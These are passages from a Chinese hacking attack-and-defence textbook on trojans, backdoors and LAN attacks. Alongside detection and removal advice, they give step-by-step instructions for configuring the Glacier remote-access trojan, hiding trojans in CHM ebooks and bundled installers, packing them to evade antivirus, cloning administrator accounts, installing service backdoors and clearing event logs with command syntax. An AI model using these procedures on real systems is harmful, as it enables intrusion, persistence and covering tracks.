    {"text": "7.1.5 认识木马的伪装手段 7.1.5 认识木马的伪装手段 木马程序入侵目标计算机后，通常会采用一些常见的伪装手段来隐藏自己，以避免被用户发现。常见的木马伪装手段包括修改图标、更改名称、扩展名欺骗以及自我销毁。 1.修改图标 为了避免木马程序被用户一眼认出，黑客需要将木马的图标更改为常用的文件图标，例如可以将其修改为HTML、JPG、TXT等文件图标，一旦用户因为疏忽而双击这些文件图标，木马就被成功运行了。 2.更改名称 更改名称的伪装手段是指将木马的名称更改为常用文件的名称（如果不修改文件名，绝大部分用户都能辨认出木马程序），更改的操作既可以在入侵之前进行，也可以在入侵之后进行（前提是要与目标计算机已经建立连接）。通常情况下，黑客喜欢将木马的名称修改为系统文件的名称，这是因为用户不会轻易删除系统文件，那样很容易造成系统出现故障。 3.扩展名欺骗 许多黑客惯用的一个欺骗手法就是将木马伪装成图像、文档等文件。这一点跟木马更名的性质类似，但是这一招看上去虽然很不合逻辑，却有许多用户上当。一般情况下，木马程序的后缀名为exe，若要把它伪装成一个图片文件，则可以将其重命名为*.jpg.exe。由于Windows 7系统默认隐藏文件扩展名，因此用户看到的后缀名就是*.jpg。如果将此文件当作一个图片文件而打开的话，则木马就被成功运行了。 提示：取消隐藏文件扩展名 虽然Windows 7系统默认隐藏文件扩展名，但是用户可以手动设置取消文件扩展名的隐藏，具体操作为：打开“计算机”窗口，①在菜单栏中单击“工具”＞“文件夹选项”命令，弹出“文件夹选项”对话框，②切换至“查看”选项卡，③取消勾选“隐藏已知文件类型的扩展名”复选框，④单击“确定”按钮保存并退出。 4.自我销毁 自我销毁功能是指木马程序在目标计算机中安装完毕后，源木马文件会自动销毁，这样一来，用户就无法找到木马的来源。在这种情况下，一般用户无法手动找到已安装的木马程序，此时需要借助专业的木马查找工具才能找到并清除它。 提示：计算机中木马后的常见症状 当计算机中木马后，可能偶尔会露出一些“蛛丝马迹”，用户可以通过这些“蛛丝马迹”来初步判断自己的计算机中是否存在木马。这些“蛛丝马迹”就是计算机中木马后的常见症状，其实这些症状与计算机中病毒后的常见症状基本相同，即CPU使用率始终保持在95%以上、IE浏览器窗口连续被打开、系统时间被更改等。在遇到这些症状时，可以选择使用专业的木马查杀软件进行扫描和查杀。专业的木马查杀软件包括360安全卫士和木马清道夫，这两款软件的使用方法将会在7.4.3节进行详细介绍。"},
    {"text": "7.2 认识制作木马的常用工具 7.2 认识制作木马的常用工具 木马的制作方式有多种，掌握高超计算机技术的黑客可以使用编程语言来根据自己的思想制作木马，而普通用户虽然无法自己编写木马，但是却可以借助网络中的一些木马制作工具来制作简单的木马。本节将介绍3款简单木马的制作方法，即“冰河”木马、CHM木马以及捆绑木马。 7.2.1 “冰河”木马 “冰河”木马是一款十分著名的木马，它实际上是一个小小的服务器程序，别看它小，它的功能却非常强大。它可以通过控制端程序来进行记录目标计算机各种账户密码、获取目标计算机系统信息、限制目标计算机系统功能（远程关机、锁定鼠标等）、远程文件操作（创建、上传、下载等）、注册表操作（浏览、增删、重命名）等。 使用“冰河”木马主要包括两个阶段，第一阶段是配置“冰河”木马的服务端程序，第二阶段是使用控制端远程控制目标计算机。 1.配置“冰河”木马的服务端程序 “冰河”木马的服务端程序为G_SERVER.EXE文件，在将其植入目标计算机之前需要对其进行简单的配置，主要包括设置访问口令、监听端口以及添加电子邮箱地址等。 STEP01：启动“冰河”木马控制端 STEP02：选择配置服务器程序 STEP03：设置密码和自动删除安装文件 STEP04：设置注册表启动项名称 提示：设置访问口令的原因 在配置“冰河”木马服务端程序时，之所以要设置访问口令，是因为设置了访问口令后，只有通过该口令才能访问被植入了“冰河”木马服务端程序的目标计算机。如果不设置访问口令，则任何人都可以利用“冰河”木马控制端来访问目标计算机。 STEP05：设置邮件通知 STEP06：确认所有配置正确无误 提示：设置SMTP服务器和接收邮箱的原因 一方面目前部分Internet用户仍采用的拨号上网方式，另一方面大多数用户采用的是动态IP的ADSL宽带上网，由于其每次拨号后的IP地址都不同，因此要想让一台远程计算机成为自己的长期“肉鸡”，就要及时地掌握其IP地址的变化。在STEP05中设置了SMTP服务器和接收信箱之后，一旦远程计算机用户启动计算机，则服务端程序也随之启动，并且服务端程序可以使用电子邮件将该计算机所产生的动态IP地址自动地发送到控制端预先设置的邮箱之中。选中“邮件内容”选项框中的几个复选项后，服务端程序将会把该计算机中的这几项信息自动发送到控制端用户的邮箱中，这样不管远程计算机如何更换IP地址、重新启动、更改系统密码，控制端用户总能通过服务端程序掌握这些信息。 STEP07：服务端程序配置完毕 STEP08：查看配置的服务端程序 2.使用控制端远程控制目标计算机 当有其他计算机运行了自己配置的“冰河”木马服务端程序时，黑客就会利用“冰河”木马控制端程序进行远程控制，既可以查看目标计算机的系统信息，又可以设置共享文件以及更改其计算机名称。 STEP01：单击“自动搜索”按钮 STEP02：设置搜索范围 STEP03：查看搜索结果 STEP04：单击“添加主机”按钮 STEP05：添加计算机 STEP06：复制目标计算机的文件内容 STEP07：查看系统信息 STEP08：启动键盘记录 STEP09：捕获屏幕 STEP10：查看目标计算机屏幕 STEP11：设置信息发送属性 STEP12：查看设置的对话框 STEP13：创建共享文件 STEP14：查看设置的共享文件 在目标计算机中打开共享文件的路径，并选中共享文件，便可在底部看见该文件已共享。 STEP15：选择快速查看文件 STEP16：查看指定文件 此时可在本地计算机中查看所选文件的内容。 STEP17：选择更改计算机名 STEP18：单击“属性”命令 提示：重启计算机后可看见更改后的计算机名 利用“冰河”木马控制端重命名目标计算机的计算机名称后，如果查看目标计算机的名称并未更改，则需要重新启动目标计算机，重启后便可看见更改后的计算机名称。 STEP19：选择高级系统设置 STEP20：查看计算机名 提示：利用“冰河”陷阱清除计算机中的“冰河”木马 “冰河”陷阱是一款专门用来清除各类“冰河”木马的软件，当然，该软件只能清除“冰河”木马，无法清除其他木马。利用“冰河”陷阱清除计算机中的“冰河”木马的具体操作为：A启动“冰河”陷阱，弹出对话框，提示用户系统中已存在“冰河”木马，B单击“是”按钮自动清除“冰河”木马服务端，接着在“服务端配置信息”对话框中查看文本信息，C单击“确定”按钮，最后弹出“完成”对话框，提示用户已清除“冰河”木马服务端程序，D单击“确定”按钮即可。"},
    {"text": "7.2.2 CHM木马 7.2.2 CHM木马 CHM木马是一种添加木马的方式，它是指将一个网页木马添加到CHM电子书中，一旦用户运行该CHM电子书，则电子书中的木马就会自动在计算机中运行。在将木马添加到CHM电子书中之前，需要准备3种软件，它们分别是CHM电子书、木马程序以及QuickCHM软件。做好准备工作后，便可通过反编译和编译操作将木马添加到CHM电子书中。 STEP01：打开CHM电子书 STEP02：单击“属性”命令 STEP03：记录页面地址 STEP04：编写HTML代码 在新建记事本中编写HTML代码，添加STEP03中的页面地址和木马程序名称。 STEP05：保存编写的代码 STEP06：设置保存位置和文件名称 STEP07：查看制作的HTML文件 双击STEP06中保存的HTML文件，可发现其中的内容为空，这属于正常现象。 STEP08：启动QuickCHM程序 STEP09：单击“反编译”命令 STEP10：单击“打开”按钮 STEP11：选择CHM电子书 STEP12：保存反编译的文件 STEP13：选择保存位置 STEP14：查看所有反编译文件 STEP15：单击“打开”命令 STEP16：选择打开HHP文件 STEP17：单击“添加文件夹”按钮 STEP18：单击“浏览”按钮 提示：QuickCHM2.6无需添加文件夹 由于本书使用的是QuickCHM3.4，因此需要手动添加含有目录和电子书内容的文件夹。若用户使用的是2.6版本，则无需添加含有目录和电子书内容的文件夹。 STEP19：选择含有目录和内容的文件夹 STEP20：确定所添加的文件夹 STEP21：单击“保存”按钮 STEP22：用记事本打开HHP文件 STEP23：修改文件代码 STEP24：保存修改后的文件 STEP25：复制网页文件和木马程序 STEP26：单击“打开”命令 STEP27：选择打开HHP文件 STEP28：开始编译CHM电子书 STEP29：正在编辑电子书 STEP30：完成编辑 STEP31：查看编辑后的CHM电子书 提示：清除CHM电子书中的木马 若要清除CHM电子书中的木马，可以使用360安全卫士或者木马清道夫来进行清理。 7.2.3 捆绑木马 7.2.3 捆绑木马 捆绑木马是指利用木马捆绑器将木马程序捆绑到正常的软件安装程序或者文件中，一旦其他用户运行了该程序，则捆绑到该软件或文件中的木马程序会同时运行，从而让木马成功地入侵目标计算机。常见的木马捆绑器为ExeBinder。下面介绍利用ExeBinder制作捆绑木马的操作方法。 STEP01：启动ExeBinder程序 STEP02：选择指定第一个可执行文件 STEP03：选择第一个可执行文件 提示：第一个文件为正常程序或文件 用户在选择第一个可执行文件时需要注意：第一个文件必须选择正常的程序或文件。 STEP04：确认所选的可执行文件 STEP05：选择指定第二个可执行文件 STEP06：选择木马程序 STEP07：确认所选的木马程序 STEP08：选择指定保存路径 STEP09：设置文件保存位置和名称 STEP10：确认所选的保存位置 STEP11：选择版本类型 提示：ExeBinder提供的版本类型 ExeBinder提供了两种版本类型，即普通版和个人版，其中普通版为免费软件，利用该版本捆绑的软件很容易被杀毒软件查杀到所捆绑的木马；而个人版为付费软件，利用该版本捆绑的软件被杀毒软件查杀的几率将会降低。 STEP12：选择开始捆绑文件 STEP13：捆绑文件成功 7.3 木马的加壳与脱壳 7.3 木马的加壳与脱壳 木马的壳与自然界动植物的壳具有相同的作用——保护自己。对于木马来说，加壳就是为了保证自己不被木马查杀软件扫描出来并查杀，加壳后的木马可以使用专业的软件查看其是否加壳成功。而脱壳则恰好相反，就是脱下添加在木马外面的壳，脱壳后的木马很容易被木马查杀软件扫描出来并查杀。 7.3.1 为木马加壳 Internet中有不少的木马加壳软件，这些软件都可以自动为木马程序加壳，其加壳过程全部由软件自动完成，无需手动编写代码等操作。本节以ASPack软件为例介绍为木马加壳的基本操作方法。 STEP01：启动ASPack程序 STEP02：设置程序选项 STEP03：单击“打开”按钮 STEP04：选择木马程序 提示：加壳操作会覆盖原木马中已添加的壳 当待加壳的木马中已经含有保护壳时，如果再为其添加保护壳，则添加的保护壳会自动覆盖其已有的保护壳。例如准备加壳的木马已经通过UPX添加了保护壳，如果再使用ASPack为其添加保护壳，则该木马就只拥有ASPack添加的保护壳，通过UPX添加的壳将被覆盖。若要检验壳则可以使用PEID进行检测，检测方法将在7.3.2节介绍。 STEP05：正在压缩 STEP06：完成加壳 完成压缩后切换至“打开文件”选项卡，可看见压缩前后的木马程序的文件大小。 7.3.2 检测加壳的木马 7.3.2 检测加壳的木马 为指定木马添加保护壳之后，用户可以使用专业的检测软件来检测指定木马是否加壳成功，PEiD就是一款强大的侦壳工具软件。利用该软件不仅可以检测出指定木马是否加壳成功，而且还可以检测出加壳所用的软件。 STEP01：启动PEiD程序 STEP02：单击“浏览”按钮 提示：利用拖动操作将木马添加到PEiD程序中 在向PEiD程序添加木马程序时，除了通过单击“文件”右侧的浏览按钮来实现添加以外，还可以采用拖动操作进行添加。拖动操作十分简单，只需选中木马程序，然后将其拖动至PEiD程序主界面中即可。 STEP03：选择木马程序 STEP04：查看检测信息 STEP05：查看是否加壳 STEP06：单击“确定”按钮"},
    {"text": "7.3.2 为木马脱壳 7.3.2 为木马脱壳 如果用户使用木马加壳软件为木马加了壳，那么就可以使用对应的木马脱壳软件为木马进行脱壳。这里以UnASPack为例介绍为木马脱壳的操作方法。 STEP01：启动UnASPack程序 提示：注意UnASPack的版本 在选择UnASPack时需要注意：所下载的UnASPack必须与ASPack版本一致，否则无法成功为木马脱壳。 STEP02：单击“文件”按钮 STEP03：选择已加壳的木马 STEP04：开始脱壳 STEP05：设置保存位置和文件名 STEP06：脱壳完成 STEP07：查看脱壳后的木马 STEP08：查看木马是否脱壳成功 STEP09：木马成功脱壳 7.4 使用第三方软件防范木马入侵计算机 7.4 使用第三方软件防范木马入侵计算机 用户如果想要有效地防范木马入侵计算机，则可以选择专业的反木马软件，例如Internet中比较流行的木马清道夫和360安全卫士，它们不仅具有防范木马入侵计算机的功能，而且还能够查杀计算机中潜伏的木马程序。 7.4.1 Windows木马清道夫 Windows木马清道夫是一款专门查杀木马的专业级反木马信息安全产品，它具有扫描进程、扫描硬盘等多种查杀方式，用户可以选择首先扫描进程再扫描硬盘的方法，以达到彻底清除计算机中潜伏木马的目的。 STEP01：启动Windows木马清道夫 STEP02：更新木马病毒库 STEP03：选择扫描进程 STEP04：初始化木马病毒库 STEP05：正在扫描进程 此时可看见木马清道夫扫描进程的进度及详细信息，等待一段时间。 STEP06：完成扫描 STEP07：单击“返回”按钮 返回上一级对话框，单击“返回”按钮，关闭对话框。 STEP08：选择高速扫描硬盘 STEP09：单击“扫描”按钮 STEP10：正在高速扫描硬盘 STEP11：清除所有的木马程序 STEP12：清除完毕 7.4.2 360安全卫士 7.4.2 360安全卫士 360安全卫士是一款由奇虎公司推出的功能强、效果好且广受用户欢迎的上网类安全软件。该软件不仅具有清理垃圾和修复系统漏洞的功能，而且它还具有查杀计算机木马的功能，它采用先快速扫描再全盘扫描的方式，可以达到彻底清除计算机中潜伏木马的目的。 STEP01：检查更新木马库 STEP02：正在升级木马库 STEP03：选择快速扫描 STEP04：正在快速扫描 此时可看见快速扫描的进度和相关项目，等待一段时间。 STEP05：转成全盘扫描 STEP06：正在全盘扫描 此时可看见全盘扫描的进度和相关项目，等待一段时间。 STEP07：立即处理扫描出的木马 第8章 后门技术攻防 第8章 后门技术攻防 在计算机技术中，后门技术受到了越来越多黑客的关注，他们通过在目标计算机中安装后门来达到随意控制目标计算机的目的。为了防止黑客采用该技术来控制自己的计算机，用户有必要了解后门技术的基本知识以及如何预防后门攻击。 知识要点 ·认识后门的常见分类 ·认识账号后门技术 ·认识系统服务后门技术 ·清除日志信息 ·检测系统中的后门程序 第8章 后门技术攻防 8.1 认识常见的后门 后门一般是指绕过安全性控制而获取对程序或系统访问权的程序，后门原本是开发者预留的用来后期修改程序或系统中存在的缺陷，但是由于黑客对后门的恶意使用，使得后门成为了计算机安全的一大威胁，一旦计算机系统或程序中的后门被黑客发现，那么黑客就能轻易地通过后门达到入侵目标计算机的目的。常见的后门主要包括网页后门、线程插入后门、扩展后门以及C/S后门。 1.网页后门 网页后门其实就是一段ASP或PHP代码。由于这些代码都运行在服务器端，黑客通过这些精心设计的代码在服务器端进行某些危险的操作，从而获得某些敏感的技术信息，或者通过渗透提前获得服务器的控制权，如现在非常流行的ASP、CGI脚本后门等。 2.线程插入后门 线程插入后门的特点就在“插入”二字，这类后门在运行时并没有自己独立的进程，它需要插入其他进程中，随着进程的运行而运行。这类后门非常主流，其查杀比较困难，即使是安装了防火墙的计算机，也无法对这样的后门进行有效的防御。 3.扩展后门 所谓扩展后门，就是扩展后门的功能，将许多实用的功能集中到了后门，让该类后门几乎万能化。该类后门通常集成了文件上传/下载、系统用户检测、HTTP访问、终端安装、端口开放、启动/停止服务等功能，本身就是个小的工具包，功能强大。 4.C/S后门 这里的C/S是指Client/Server，其中Client是指控制端，而Server是指服务端。该类后门包括控制端和服务端两部分，其中控制端用于控制服务端，当黑客将服务端植入目标计算机中以后，便可利用控制端控制服务端，即控制目标计算机。"},
    {"text": "8.2 认识账号后门技术 8.2 认识账号后门技术 账号后门技术是指黑客为了长期控制目标计算机，通过后门在目标计算机中建立一个备用管理员账户的技术。该账户可以称为后门账户。若新建一个后门账户不但有密码过期的限制，而且很容易被计算机用户发现。因此黑客想出了另外一种办法创建后门账户，那就是克隆账户。 克隆账户是指把管理员的权限复制给目标计算机中已存在的普通账户，即把系统内原有的账户变成管理员账户。克隆账户的方法主要有两种：第一种是手动克隆账户，第二种是利用克隆工具克隆账户。 8.2.1 手动克隆账户 在Windows系统中，SAM是用于管理系统用户账户的数据库，它保存了系统中所有账户的配置文件路径、账户权限和密码等。而SID则是用户账户的唯一身份编号，它用于确定当前账户是否属于管理员账户。 Windows系统注册表中有两处保存了用户账户的SID：SAM\\Domains\\Account\\Users分支下的子键名和该子键F子项的值。登录Windows系统时读取的信息是所对应子键F子项的值，而查询账户信息时读取的是Users分支下的子键名。因此当用Administrator子键的F子项覆盖其他账户的F子项之后，就造成了账户是管理员权限但查询还是原来状态的情况，从而达到克隆账户的目的。 STEP01：新建记事本 STEP02：输入提升SYSTEM权限的代码 STEP03：保存编辑的代码 STEP04：设置保存位置和文件名 STEP05：运行批处理文件 STEP06：选择查看消息 STEP07：输入regedit命令 STEP08：双击管理员账户下的F子键 提示：更改SAM的权限 如果无法在HKLM\\SAM\\SAM\\Domains\\Account\\Users下看见000001F4键值，可选中HKLM下的SAM选项，①在菜单栏中依次单击“编辑”＞“权限”命令，弹出“SAM的权限”对话框，②在列表框中选中SYSTEM选项，③单击“确定”按钮即可更改SAM的权限为SYSTEM，可查看HKLM\\SAM\\SAM\\Domains\\Account\\Users下的000001F4和000001F5键值。 STEP09：复制F键值的数值数据 STEP10：双击来宾账户下的F子键 STEP11：粘贴F键值的数值数据 STEP12：返回Windows桌面 STEP13：输入cmd命令 STEP14：查看Guest账户信息 输入net user guest命令后按【Enter】键，可查看Guest账号属性，该账号已被禁用且密码不过期。 提示：利用命令启用/禁用Guest账户 当黑客成功地控制了一台目标计算机后，便可利用命令实现Guest账户的启用与禁用，当输入net user guest/active:no时，表示禁用Guest账户；当输入net user guest/active:yes时，则表示启用Guest账户。 8.2.2 使用软件克隆账号 8.2.2 使用软件克隆账号 Internet中提供了大量克隆账号的专业小软件。其中以小榕推出的CA.exe最为出名，用户启动该软件后，只需使用简单的命令便可完成克隆操作。 CA. exe是一个远程克隆账号工具，其命令格式为：ca.exe\\\\IP＜账号＞＜密码＞＜克隆账号＞＜密码＞，各参数的含义如下。 ＜账号＞：被克隆的账号（拥有管理员权限）。 ＜密码＞：被克隆账号的密码。 ＜克隆账号＞：克隆的账号（该账号在克隆前必须存在）。 ＜密码＞：克隆账号的密码。 STEP01：将CA.exe保存在根目录下方 STEP02：单击“运行”命令 STEP03：输入cmd命令 STEP04：查看ca.exe的语法功能 STEP05：克隆账号 提示：ca.exe\\\\192.168.59.128 Administrator 123 Guest的含义 在STEP05中，ca.exe\\\\192.168.59.128 Administrator 123 Guest命令的含义是指将目标计算机中密码为123的Administrator账户权限克隆给Guest账户，即使得Guest拥有与Administrator一样的管理员账户权限。 8.3 认识系统服务后门技术 8.3 认识系统服务后门技术 系统服务后门技术是指在黑客成功入侵目标计算机后，通过修改Windows系统中的服务程序来制造后门，便于黑客能够在日后成功入侵目标计算机。修改Windows系统中的服务不会被杀毒软件所察觉。 8.3.1 使用Instsrv创建系统服务后门 Instsrv是一款可以自由安装或卸载Windows系统服务的小工具，它具有自由指定服务名称和服务所执行程序的功能，而这些功能只需使用简单的命令即可完成。 STEP01：准备PsExec和Instsrv软件 STEP02：获取远程计算机的命令行 输入e:后按【Enter】键，接着输入获取远程计算机命令行的命令。 STEP03：复制tlntsvr文件 STEP04：添加Syshell服务 输入e:后按【Enter】键，接着输入添加Syshell服务的命令。 提示：将本地计算机中的文件复制到远程计算机 当黑客成功入侵一台计算机后，便可以远程操作这台目标计算机，当然也能够轻松地将文件复制到目标计算机中或者将目标计算机中的文件复制到本地计算机中，如第5章中介绍的“冰河”木马，它一旦与目标计算机建立连接，就可查看目标计算机中的文件，甚至可与目标计算机进行文件交互。 STEP05：输入services.msc命令 STEP06：查看添加的服务 在窗口中可看见Syshell服务,黑客可通过该服务远程登录目标计算机。 提示：删除Windows系统中的服务 若要删除Windows系统中的服务，可以使用sc命令来实现，打开“命令提示符”窗口，输入sc delete+服务名称即可，例如输入sc delete Syshell后按【Enter】键，便可将Syshell服务从Windows系统中删除。"},
    {"text": "8.3.2 使用Srvinstw创建系统服务后门 8.3.2 使用Srvinstw创建系统服务后门 Srvinstw是一款图形化工具，它具有安装或移除Windows系统服务的功能，通过这些功能，黑客可以轻松实现系统服务后门的制作。这里以PeerDistSvc为例介绍使用Srvinstw创建系统服务后门的操作方法。 STEP01：启动Srvinstw程序 STEP02：选择“移除服务” STEP03：选择本地计算机 STEP04：选择要删除的服务 STEP05：单击“完成”按钮 提示：选择远程计算机需满足指定条件 在STEP03中，如果黑客无法通过图形界面控制目标计算机，但已建立具有管理员权限的IPC$连接，则可以选择“远程机器”。 STEP06：服务成功移除 STEP07：再次启动Srvinstw程序 STEP08：选择安装服务 STEP09：选择执行的计算机类型 STEP10：输入服务名称 STEP11：单击“浏览”按钮 STEP12：选择tlntsvr文件 STEP13：确认所选择的程序 STEP14：选择安装的服务种类 STEP15：设置服务的运行权限 STEP16：选择服务的启动类型 STEP17：确认所添加的服务 STEP18：服务安装成功 STEP19：添加服务描述信息 提示：注意区分Windows系统服务的服务名称和显示名称 在Windows系统中，系统服务通常有两个名称，即服务名称和显示名称。“服务”窗口中显示的名称为显示名称，而若要查看其服务名称，需要在“服务”窗口中双击对应的服务选项，在弹出对话框的“常规”选项卡下可看见该服务的服务名称，同时也可看见其显示名称。 STEP20：双击BranchCache服务选项 STEP21：查看可执行文件路径和描述 8.4 清除日志信息 8.4 清除日志信息 在Windows系统中，日志文件是一种比较特殊的文件，它每天记录着Windows系统的一举一动，以便于计算机用户快速记录和预测潜在的系统入侵。因此，它在安全方面起着十分重要的作用。 黑客为了防止用户发现计算机已被入侵（通过日志文件查到黑客的来源），他们往往会在断开与目标计算机连接之前，删除日志文件中的相关内容。 8.4.1 手动清除日志信息 在黑客入侵目标计算机的过程中，目标计算机会记录黑客的登录、注销以及文件的复制和粘贴等操作，并将这些记录保存到日志文件中。在这些日志文件中，记录了黑客在目标计算机中登录时所用的账号以及入侵者的IP地址等信息。为了防止这些信息被计算机用户查看，黑客会手动清除这些日志文件中的内容。 STEP01：单击“控制面板”命令 STEP02：选择管理工具 STEP03：选择计算机管理 STEP04：查看Windows日志 提示：Windows系统中的日志类型 在Windows系统中，常见的日志文件包括Windows日志及应用程序和服务日志两大类，其中Windows日志包括应用程序、安全和系统等日志信息，而应用程序和服务日志包括Windows系统中部分应用程序的日志信息，包括Internet Explorer、Media Center等。 STEP05：查看应用程序日志的属性 STEP06：选择清除日志 STEP07：选择直接清除日志 STEP08：清除其他Windows日志 8.4.2 使用批处理文件清除日志信息 8.4.2 使用批处理文件清除日志信息 如果觉得在目标计算机中手动清除日志信息很麻烦，可以通过手动编写批处理命令来清除目标计算机中的日志信息。 STEP01：双击新建文本文档快捷图标 提示：新建文本文档的目的 在STEP01中，新建文本文档的目的是为了创建bat批处理文件。在文本文档中保存编辑的命令，然后修改文件名和扩展名即可。 STEP02：编辑批处理命令 STEP03：保存编辑的批处理命令 STEP04：修改文件名和扩展名 STEP05：继续新建文本文档 STEP06：编辑执行del.bat的命令 STEP07：保存编辑的命令 提示：STEP06编辑的命令的含义 在STEP06编辑的命令中，第1行的命令是指将del.bat文件复制到目标计算机名为1 的C盘根目录下，第3行的命令是指在目标计算机中远程执行del.bat文件，第2行和第4行分别是对第1行和第3行命令的注释。 STEP08：查看复制的bat文件 STEP09：执行clean.bat命令 STEP10：确认开始清除日志文件 STEP11：成功清除日志文件"},
    {"text": "8.4.3 使用工具清除日志信息 8.4.3 使用工具清除日志信息 黑客清除目标计算机中的日志信息不仅可以采用手动和批处理命令实现，而且还可以使用专业的日志清除工具。Interent中常见的日志清除工具主要有elsave和cleanIISLog两种。 1.使用elsave清除日志信息 elsave具有清除本地计算机和远程计算机日志的功能，其命令格式为：elsave[-s\\\\server][-l log][-F file][-C][-q]，各参数的含义如下。 [-s\\\\server]：指定远程计算机。 [-l log]：指定日志类型，其中参数application为应用程序日志，参数system为系统日志，参数security为安全日志。 [-F file]：指定保存日志文件的路径。 [-C]：清除日志操作，注意C要大写。 [-q]：把错误信息写入日志。 STEP01：将elsave置于E盘根目录 STEP02：输入cmd命令 STEP03：建立IPC$连接 STEP04：清除日志 STEP05：断开IPC$连接 提示：认识IPC$ IPC$是为了实现进程间通信而开放的命名管道，通过提供可信任的用户账户和密码来连接双方，以建立安全的通道并交换数据，从而实现对远程计算机的访问。 2.使用cleanIISLog清除日志信息 CleanIISLog是一款常见的日志清理工具，它可以不留痕迹地清除指定的IP连接记录。其命令格式为cleaniislog[logfile][.][cleanIP][.]，其中各参数的含义如下。 [logfile]：要清除的日志文件，Logfile用于指定要处理的日志文件，如果指定为“.”，则处理所有的日志文件。 [.]：“.”代表所有清除的日志中那个IP地址记录。 [cleanIP]：要清除的IP记录，如果指定为“.”，则清除所有的IP记录，但是最好不要这样设置。 [.]：代表所有的IP记录。 STEP01：将CleanIISLog置于E盘根目录 STEP02：建立IPC$链接 STEP03：清除指定日志文件 STEP04：断开IPC$链接 提示：CleanIISLog使用的局限性 与elsave相比，CleanIISLog在使用上有着局限性，即CleanIISLog只能在本地计算机中运行，并且运行该软件的账户必须具有管理员权限。 8.5 检测系统中的后门程序 8.5 检测系统中的后门程序 后门程序是在黑客成功入侵目标计算机之后在其系统中创建的。因此用户若要检测系统中是否存在后门程序，则需要检测系统中的进程、系统的启动信息以及系统开放的端口等信息。 1.查看系统进程 有些后门程序会以系统进程的形式在目标计算机中运行，它会随着计算机的启动而启动，如果用户在“任务管理器”窗口中查看到陌生的进程，则该进程可能就是后门程序，应结束该进程，然后使用杀毒软件全盘扫描计算机。 提示：未显示在任务管理器中的后门程序 在Internet中，有一类后门程序是不会在“任务管理器”窗口中显示出来的，即DLL（动态链接库）注入的后门程序。它随着系统文件的调用而运行。对于此类后门程序，需要用杀毒软件或专杀工具进行查杀。 2.查看系统启动信息 系统启动项也是后门程序经常光顾的地方，用户可以利用msconfig命令打开“系统配置”窗口，在“启动”选项卡查看是否存在可疑的启动项。如果有则打开其对应的路径，删除指定的程序文件。对于新手来说，可以使用360安全卫士提供的开机加速功能来查看是否有可疑的启动项。 提示：查看系统安装目录Windows和系统关键目录system32下的文件 在Windows 7中，系统安装目录Windows的路径为C:\\Windows（C盘为系统所在的分区），系统关键目录system32的路径为C:\\WINDOWS\\system32，用户需要在这两个文件夹中查看有没有可疑的可执行文件或dll文件（首先需要设置显示所有的文件和文件夹）。当然这种方法只适合于对后门知识有一定了解的用户，不建议新手使用此种方法。 3.查看系统开放的端口 有些后门程序是通过修改Windows系统中的服务来实现的，因此用户需要查看本地计算机已开放的端口，当开放的端口中有类似于7626等端口时就要注意了。7626是“冰河”木马的默认端口，如果系统中7262端口没有开放也不能保证系统中不存在后门程序，这是因为7626只是冰河木马上线的默认端口，并且该端口是可以更改的。 通过以上的操作可以检测出一些常见的后门程序，当然不能保证100%安全，因为后门程序每天都在增加，最好的方法还是要养成良好的使用电脑习惯，及时修补系统漏洞，及时更新安全工具的病毒木马库，定时进行全盘的病毒扫描等。 第9章 局域网攻防 第9章 局域网攻防 在局域网中，黑客可能会采取一系列的攻击方式，使得局域网中的路由器或者某些计算机无法正常运行。为了防范常见的局域网攻击，用户不仅需要了解这些攻击的原理，而且还要了解防范这些攻击的有效措施。 知识要点 ·局域网中常见的攻击类型 ·防御广播风暴 ·防御ARP欺骗攻击 ·防御IP冲突攻击 ·提高无线局域网的安全系数"},
    {"text": "第9章 局域网攻防 9.1 局域网中常见的攻击类型 黑客不仅会攻击Internet，他们也会对局域网进行攻击，只不过局域网的攻击类型与Interent的攻击类型不同。常见的局域网攻击类型有广播风暴、ARP欺骗攻击以及IP冲突攻击。 9.1.1 广播风暴 在局域网中，广播风暴是指当大量的广播数据存在于局域网中且无法处理时，这些数据就会占用大量的网络带宽，从而导致正常的数据无法被处理，使得局域网的数据处理性能下降，严重的话还会造成局域网彻底瘫痪。 广播风暴产生的原因有多种，常见的主要有网线短路、网络中存在环路、傻瓜交换机、网卡损坏以及蠕虫病毒等。 1.网线短路引发广播风暴 网线短路引发广播风暴是指当网线发生短路时，交换机将会接收到大量不符合分装原则的数据包，从而造成交换机工作繁忙，数据包无法及时转发，使得局域网中出现数据包丢失的现象，从而引发广播风暴。网线短路通常是由于网线表面有磨损或者网线的水晶头质量问题引起的。 2.网络中存在环路引发广播风暴 当局域网中存在环路时，就会造成每一个数据包都在局域网中重复广播，从而引发广播风暴。要消除这种网络循环连接带来的广播风暴可以使用STP协议（生成树协议），以局域网中一台交换机为节点生成一棵转发树，让所有的数据包都只在这棵树的路径上传输，就不会产生广播风暴了（因为树没有环路）。但由于STP算法开销太大，因此交换机默认未启用该协议。 3.傻瓜交换机引发广播风暴 傻瓜交换机是指那些不具备生成树协议功能、无法自动切断级联交换机之间冗余端口的交换机。如果在同一傻瓜交换机的不同端口或傻瓜交换机之间有冗余连接时，就会导致网络中存在环路，进而导致网络广播风暴。 4.网卡损坏引发广播风暴 当局域网中某一台计算机的网卡损坏时，由于该计算机与交换机相连接，从而导致它们之间不断地发送广播数据包，从而引发广播风暴。还有一种可能是因为计算机网卡与交换机形成了回路，广播数据包无法及时发送出去而造成广播风暴。 5.蠕虫病毒引发广播风暴 当局域网中某台计算机感染了Funlove、震荡波、RPC等蠕虫病毒时，它会导致当前计算机网卡的发送数据包和接收数据包快速增加，并通过网络传播，损耗大量的网络带宽，引发网路堵塞，从而导致广播风暴。 9.1.2 ARP欺骗攻击 9.1.2 ARP欺骗攻击 ARP欺骗攻击是一种基于ARP协议的局域网攻击方式，该种攻击方式利用了ARP协议中“局域网中的网络流通是按照MAC地址传输”这一特点而产生的。若要了解ARP欺骗攻击，则首先需要了解ARP协议的工作原理。 1.ARP协议的工作原理 ARP协议的工作原理是：当计算机A向计算机B发送数据时，计算机A会查询本地ARP缓存表，找到计算机B的MAC地址后再传输数据；如果未找到，则广播A的一个ARP请求数据（携带计算机A的IP地址Ia——物理地址Ma），请求IP地址为Ib的计算机B回答物理地址Pb，局域网中所有计算机（包括计算机B）都收到ARP请求数据，但只有计算机B能识别自己的IP地址，于是向计算机A发回一个ARP响应数据，其中包含有计算机B的MAC地址。计算机A接收到计算机B的应答后更新本地ARP缓存表，然后使用这个MAC地址向计算机B发送数据。工作过程如下图所示。 2.ARP欺骗攻击的工作原理 